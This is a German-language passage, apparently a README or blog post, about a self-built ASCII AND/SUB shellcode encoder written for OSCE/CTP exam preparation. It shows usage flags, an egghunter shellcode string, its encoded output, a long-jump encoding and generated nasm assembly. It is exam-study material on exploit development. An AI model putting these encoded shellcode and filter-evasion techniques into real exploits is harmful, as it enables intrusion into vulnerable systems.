
Dies ist ein eigener ASCII-AND/SUB-Encoder, der während meiner Vorbereitung auf den Legacy-OSCE/CTP-Kurs entwickelt wurde.
Dieses Tool wurde erstellt, während ich mich auf den Offensive-Security-CTP-Kurs vorbereitet habe, der zur Legacy-OSCE-Zertifizierung führt. Das Tool erzeugt nasm-freundliche Assembler-Anweisungen eines angepassten Ascii-Subtraction-Encoders. Die Entwicklung dieses Tools basiert auf der Beschreibung der Logik des Ascii-Subtraction-Encoders, wie sie im folgenden Blogbeitrag von Vello Security erläutert wird.
Vello Security – Carving von Shellcode mithilfe restriktiver Zeichensätze
Für x86-Architekturen ausführen:
gcc sub.c -o sub
Für x86_64-Architekturen ausführen:
gcc -m32 sub.c -o sub
Wird die ausführbare Datei ohne Angabe von Argumenten ausgeführt, werden die Verwendungsinformationen angezeigt
./sub
Args:
[-s] The shellcode to encode
[-j] Encode a long jump
[-b] The bad characters to filter out
Nehmen wir nun an, wir möchten den folgenden Egghunter-Shellcode kodieren
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7
Der folgende Befehl kann verwendet werden, um die ausführbare Datei auszuführen und die Ascii-Subtraction-Encoder-Anweisungen zu erzeugen, die zum Kodieren des Egghunters verwendet werden
./sub -s \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7 -b \x00
Falls wir keine Bad Characters haben, können wir zumindest die Option -b verwenden, um Nullbytes im final kodierten Shellcode zu vermeiden. An diesem Punkt kann das Programm nicht verwendet werden, ohne jegliche Bad Characters herauszufiltern.
Der folgende Screenshot zeigt den Sub-Encoder in Aktion
Falls wir die Anweisungen direkt in eine nasm-Datei speichern möchten, können wir den folgenden Befehl verwenden
./sub -s \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7 -b \x00 > test.nasm
Jetzt können wir den Assemblercode kompilieren
nasm -f win32 -o test.o test.nasm
ld -o test test.o
An diesem Punkt können wir den final kodierten Shellcode erzeugen
root@kali:/home/kali/Desktop# objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x79\x09\x80\x09\x2d\x0c\x09\x76\x0d\x2d\x06\x06\x0a\x01\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x0a\x26\x0e\x0a\x2d\x2f\x4f\x06\x24\x2d\x18\x15\x01\x22\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x43\x1b\x0f\x01\x2d\x59\x5f\x64\x15\x2d\x34\x31\x03\x12\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x0c\x0c\x7e\x0a\x2d\x04\x25\x25\x83\x2d\x01\x16\x05\x42\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x26\xab\x0c\x60\x2d\x69\x38\x4f\x20\x2d\x35\x17\x4a\x0b\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\xca\x23\x03\x35\x2d\x29\x6d\x21\x58\x2d\x0b\x17\x0e\x44\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x1a\x36\x17\x66\x2d\xca\x6f\x60\x27\x2d\x0d\x18\x36\x08\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x09\x10\x05\xdc\x2d\x4f\x52\x1f\xe3\x2d\x42\x1c\x11\x41\x50"
Auf dieselbe Weise können wir den Sub-Encoder auch verwenden, um einen Long Jump zu kodieren. Zuerst erzeugen wir die Opcodes mit msf-nasm_shell
root@kali:/home/kali/Desktop# msf-nasm_shell
nasm > jmp $-299
00000000 E9D0FEFFFF jmp 0xfffffed5
nasm >
Alles, was wir jetzt tun müssen, ist den Sub-Encoder zu verwenden, um den kodierten Shellcode zu erzeugen. Da der Shellcode nicht durch 4 teilbar ist, fügen wir dem Shellcode etwas NOP-Padding hinzu, das dessen Funktionalität nicht beeinträchtigt. (Wir haben \x90 gewählt, aber jedes andere NOP-Padding kann ebenfalls angewendet werden, solange es vom Zielprogramm akzeptiert wird.)
root@kali:/home/kali/Desktop/Exam# ./sub -j \x90\90\xE9\xD0\xFE\xFF\xFF\x90 -b \x00
; . ,
; .c. ;.
; .. .. . ..,;clc;x'.l
; 'kkoldxl;:o. ,ldkkkkkld:
; ,oxkkllkkk:. .dkkkkkxkkkkkl.
; ;kkkkkkkko,. .xkkkk:. .ckkkcx.
; ,ko,;dkkk:. ,;kkkx ;kklo:
; . ckkko. :kkkk. ,kkkkk,
; .xkkc; ckkkk; .;cokkkd.
; okkk,.ckkkkk' , .:kk.
; xkkxc ,odkkkk:. .l'. ;:
; .kkko; c.okkkkkxookkxo.
; :kkkd. .,:lkkkkkkkkkl:d,..
; .:. ''. xkkdl ..:dkkkkkklxkkkkkkk,
; ccod:,. .kkk;' .xkkkxdkkk,.kkkxdxkl
; .xkkkkko..kkk. .xkkko..xkkd ';. .,.
; lkkkkkkk:.kkk. ;ckkx. ckkk. ... c.
; ;lkk..lkkd,kkk. .kkko ;kkk. .;dcd.
; :dkk. 'kkx.okkl ,kkkk. :kkk.'dkkkkd.
; .xkc. ;kkk''kkk, 'kkkkx. okkk.:kkdckko.
; lk' .xkko. lkkk:..dlkkkx,kkkx.kkk. okd:
; .: ,kkx, .okkkd';.dkkkkkkkd.kkk. 'cxk,
; ;kkd .ckkkkd:;kkkkkkkl.kkk; .oc
; ,kkk. ,kkkkkkkkkkkkk, ldkk. ..
; .xkkx;. :kkkkkkkkkkkk. .:kk,
; ,kkkkkdl:;okkkkkkkkkkk; lkk.
; ,kkkkkkkkkkkkkkkkkkko.';dkkc
; .lkkkkkkkkkkkkkkkkkkkkkkko.
; .,. :xkkkkkkkkkkkkkkkkkkkkkkd.
;
; Author: Xenofon Vassilakopoulos
; @xvass
; Version 1.0
global _start
section .text
_start:
;-------------------------------------------
; Token : \x90\xff\xff\xfe
; 0x0 - 0x90fffffe = 0x6f000002
and eax, 0x50505050
and eax, 0x2a2a2a2a
sub eax, 0x0d1a0f01
sub eax, 0x4187b9ca
sub eax, 0x205e3737
push eax
;-------------------------------------------
; Token : \xd0\xe9\x90\x90
; 0x0 - 0xd0e99090 = 0x2f166f70
and eax, 0x50505050
and eax, 0x2a2a2a2a
sub eax, 0x1c05251e
sub eax, 0x0c0c3b3d
sub eax, 0x07050f15
push eax
Falls wir viele Bad Characters haben, können wir den Sub-Encoder mit derselben Leichtigkeit verwenden wie zuvor. Nehmen wir an, wir haben die folgenden Bad Characters